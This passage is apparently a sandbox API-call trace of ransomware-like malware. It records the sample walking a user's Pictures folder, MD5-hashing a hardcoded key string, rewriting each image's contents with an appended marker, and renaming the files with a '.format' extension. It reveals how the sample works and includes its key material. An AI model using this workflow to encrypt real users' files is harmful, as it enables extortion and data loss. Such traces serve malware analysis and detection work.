dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0068.047] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.047] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb19f06f0, ftCreationTime.dwHighDateTime=0x1d4d138, ftLastAccessTime.dwLowDateTime=0x7af9f400, ftLastAccessTime.dwHighDateTime=0x1d4c71c, ftLastWriteTime.dwLowDateTime=0x7af9f400, ftLastWriteTime.dwHighDateTime=0x1d4c71c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.047] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb5a8eb0, ftCreationTime.dwHighDateTime=0x1d4cfef, ftLastAccessTime.dwLowDateTime=0x9b3bef10, ftLastAccessTime.dwHighDateTime=0x1d4cfba, ftLastWriteTime.dwLowDateTime=0x9b3bef10, ftLastWriteTime.dwHighDateTime=0x1d4cfba, nFileSizeHigh=0x0, nFileSizeLow=0xdfd9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CSSjndh.png", cAlternateFileName="")) returned 1 [0068.047] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.048] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa6) returned 0x315d2d0 [0068.048] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.048] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\qHy Bq3sd4UO\\CSSjndh.png") returned=".png" [0068.048] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\qHy Bq3sd4UO\\CSSjndh.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\qhy bq3sd4uo\\cssjndh.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.048] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=57305) returned 1 [0068.048] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.050] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xdfb3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.050] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.051] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.051] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.051] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.051] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xdfd9, lpOverlapped=0x0) returned 1 [0068.051] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.051] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.051] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.051] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.051] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abd70) returned 1 [0068.052] CryptCreateHash (in: hProv=0x6abd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.052] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.052] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.052] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.052] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.052] GetLastError () returned 0x0 [0068.052] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.052] CryptReleaseContext (hProv=0x6abd70, dwFlags=0x0) returned 1 [0068.052] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.052] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xdfe0) returned 0x32b2f40 [0068.053] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0068.053] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.053] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0xdfd4, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0xdfd4, lpOverlapped=0x0) returned 1 [0068.053] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0068.053] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xdfd9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.053] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf30 [0068.053] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0068.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.053] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0068.053] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0068.053] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf30 | out: hHeap=0x5d0000) returned 1 [0068.053] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0068.054] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0068.054] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.054] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.054] CloseHandle (hObject=0x5c8) returned 1 [0068.055] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abd70 [0068.055] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x890) returned 0x3178dd8 [0068.055] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abd70 | out: hHeap=0x5d0000) returned 1 [0068.055] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\qHy Bq3sd4UO\\CSSjndh.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\qhy bq3sd4uo\\cssjndh.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\qHy Bq3sd4UO\\CSSjndh.png.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\qhy bq3sd4uo\\cssjndh.png.format")) returned 1 [0068.056] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.056] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.056] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x315d2d0 | out: hHeap=0x5d0000) returned 1 [0068.057] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0daf240, ftCreationTime.dwHighDateTime=0x1d4ca1b, ftLastAccessTime.dwLowDateTime=0x7b2f10, ftLastAccessTime.dwHighDateTime=0x1d4cdd8, ftLastWriteTime.dwLowDateTime=0x7b2f10, ftLastWriteTime.dwHighDateTime=0x1d4cdd8, nFileSizeHigh=0x0, nFileSizeLow=0x16e6d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DRyCH41NNCvFGT-d.gif", cAlternateFileName="DRYCH4~1.GIF")) returned 1 [0068.057] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.057] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa6) returned 0x315d2d0 [0068.057] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.057] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\qHy Bq3sd4UO\\DRyCH41NNCvFGT-d.gif") returned=".gif" [0068.057] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\qHy Bq3sd4UO\\DRyCH41NNCvFGT-d.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\qhy bq3sd4uo\\drych41nncvfgt-d.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.057] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=93805) returned 1 [0068.057] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.059] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x16e47, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.059] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.060] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.060] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.060] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.060] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x16e6d, lpOverlapped=0x0) returned 1 [0068.061] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.061] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.061] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.061] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.061] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abd70) returned 1 [0068.061] CryptCreateHash (in: hProv=0x6abd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.062] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.062] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.062] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.062] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.062] GetLastError () returned 0x0 [0068.062] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.062] CryptReleaseContext (hProv=0x6abd70, dwFlags=0x0) returned 1 [0068.062] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.062] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x16e70) returned 0x32b2f40 [0068.062] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0068.062] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.062] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x16e68, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x16e68, lpOverlapped=0x0) returned 1 [0068.063] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0068.063] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x16e6d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.063] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf30 [0068.063] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0068.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.063] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0068.063] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0068.063] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf30 | out: hHeap=0x5d0000) returned 1 [0068.063] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0068.063] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0068.063] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.063] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.063] CloseHandle (hObject=0x5c8) returned 1 [0068.064] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edca8 [0068.064] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8a0) returned 0x3178dd8 [0068.064] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edca8 | out: hHeap=0x5d0000) returned 1 [0068.064] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\qHy Bq3sd4UO\\DRyCH41NNCvFGT-d.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\qhy bq3sd4uo\\drych41nncvfgt-d.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\qHy Bq3sd4UO\\DRyCH41NNCvFGT-d.gif.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\qhy bq3sd4uo\\drych41nncvfgt-d.gif.format")) returned 1 [0068.065] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.065] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.066] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x315d2d0 | out: hHeap=0x5d0000) returned 1 [0068.066] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76735790, ftCreationTime.dwHighDateTime=0x1d4cd08, ftLastAccessTime.dwLowDateTime=0x16508f80, ftLastAccessTime.dwHighDateTime=0x1d4ce9e, ftLastWriteTime.dwLowDateTime=0x16508f80, ftLastWriteTime.dwHighDateTime=0x1d4ce9e, nFileSizeHigh=0x0, nFileSizeLow=0x8d9e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="g5F7NFHxCw.png", cAlternateFileName="G5F7NF~1.PNG")) returned 1 [0068.066] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.066] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa6) returned 0x315d2d0 [0068.066] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.066] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\qHy Bq3sd4UO\\g5F7NFHxCw.png") returned=".png" [0068.066] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\qHy Bq3sd4UO\\g5F7NFHxCw.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\qhy bq3sd4uo\\g5f7nfhxcw.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.066] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=36254) returned 1 [0068.066] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.069] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x8d78, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.069] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.069] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.069] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.069] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.069] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x8d9e, lpOverlapped=0x0) returned 1 [0068.070] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.070] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.070] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.070] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.070] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abd70) returned 1 [0068.071] CryptCreateHash (in: hProv=0x6abd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.071] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.071] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.071] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.071] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.071] GetLastError () returned 0x0 [0068.071] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.071] CryptReleaseContext (hProv=0x6abd70, dwFlags=0x0) returned 1 [0068.071] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.071] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8da0) returned 0x32b2f40 [0068.071] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0068.071] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.071] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x8d99, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x8d99, lpOverlapped=0x0) returned 1 [0068.071] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0068.071] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x8d9e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.072] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf30 [0068.072] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0068.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.072] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0068.072] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0068.072] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf30 | out: hHeap=0x5d0000) returned 1 [0068.072] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0068.072] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0068.072] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.072] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.072] CloseHandle (hObject=0x5c8) returned 1 [0068.073] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x6cebb8 [0068.073] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8a0) returned 0x3178dd8 [0068.073] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6cebb8 | out: hHeap=0x5d0000) returned 1 [0068.073] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\qHy Bq3sd4UO\\g5F7NFHxCw.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\qhy bq3sd4uo\\g5f7nfhxcw.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\qHy Bq3sd4UO\\g5F7NFHxCw.png.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\qhy bq3sd4uo\\g5f7nfhxcw.png.format")) returned 1 [0068.073] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.073] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.074] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x315d2d0 | out: hHeap=0x5d0000) returned 1 [0068.074] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76735790, ftCreationTime.dwHighDateTime=0x1d4cd08, ftLastAccessTime.dwLowDateTime=0x16508f80, ftLastAccessTime.dwHighDateTime=0x1d4ce9e, ftLastWriteTime.dwLowDateTime=0x16508f80, ftLastWriteTime.dwHighDateTime=0x1d4ce9e, nFileSizeHigh=0x0, nFileSizeLow=0x8d9e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="g5F7NFHxCw.png", cAlternateFileName="G5F7NF~1.PNG")) returned 0 [0068.074] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0068.074] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0068.074] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31756e8 | out: hHeap=0x5d0000) returned 1 [0068.075] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0068.075] RtlAllocateHeap 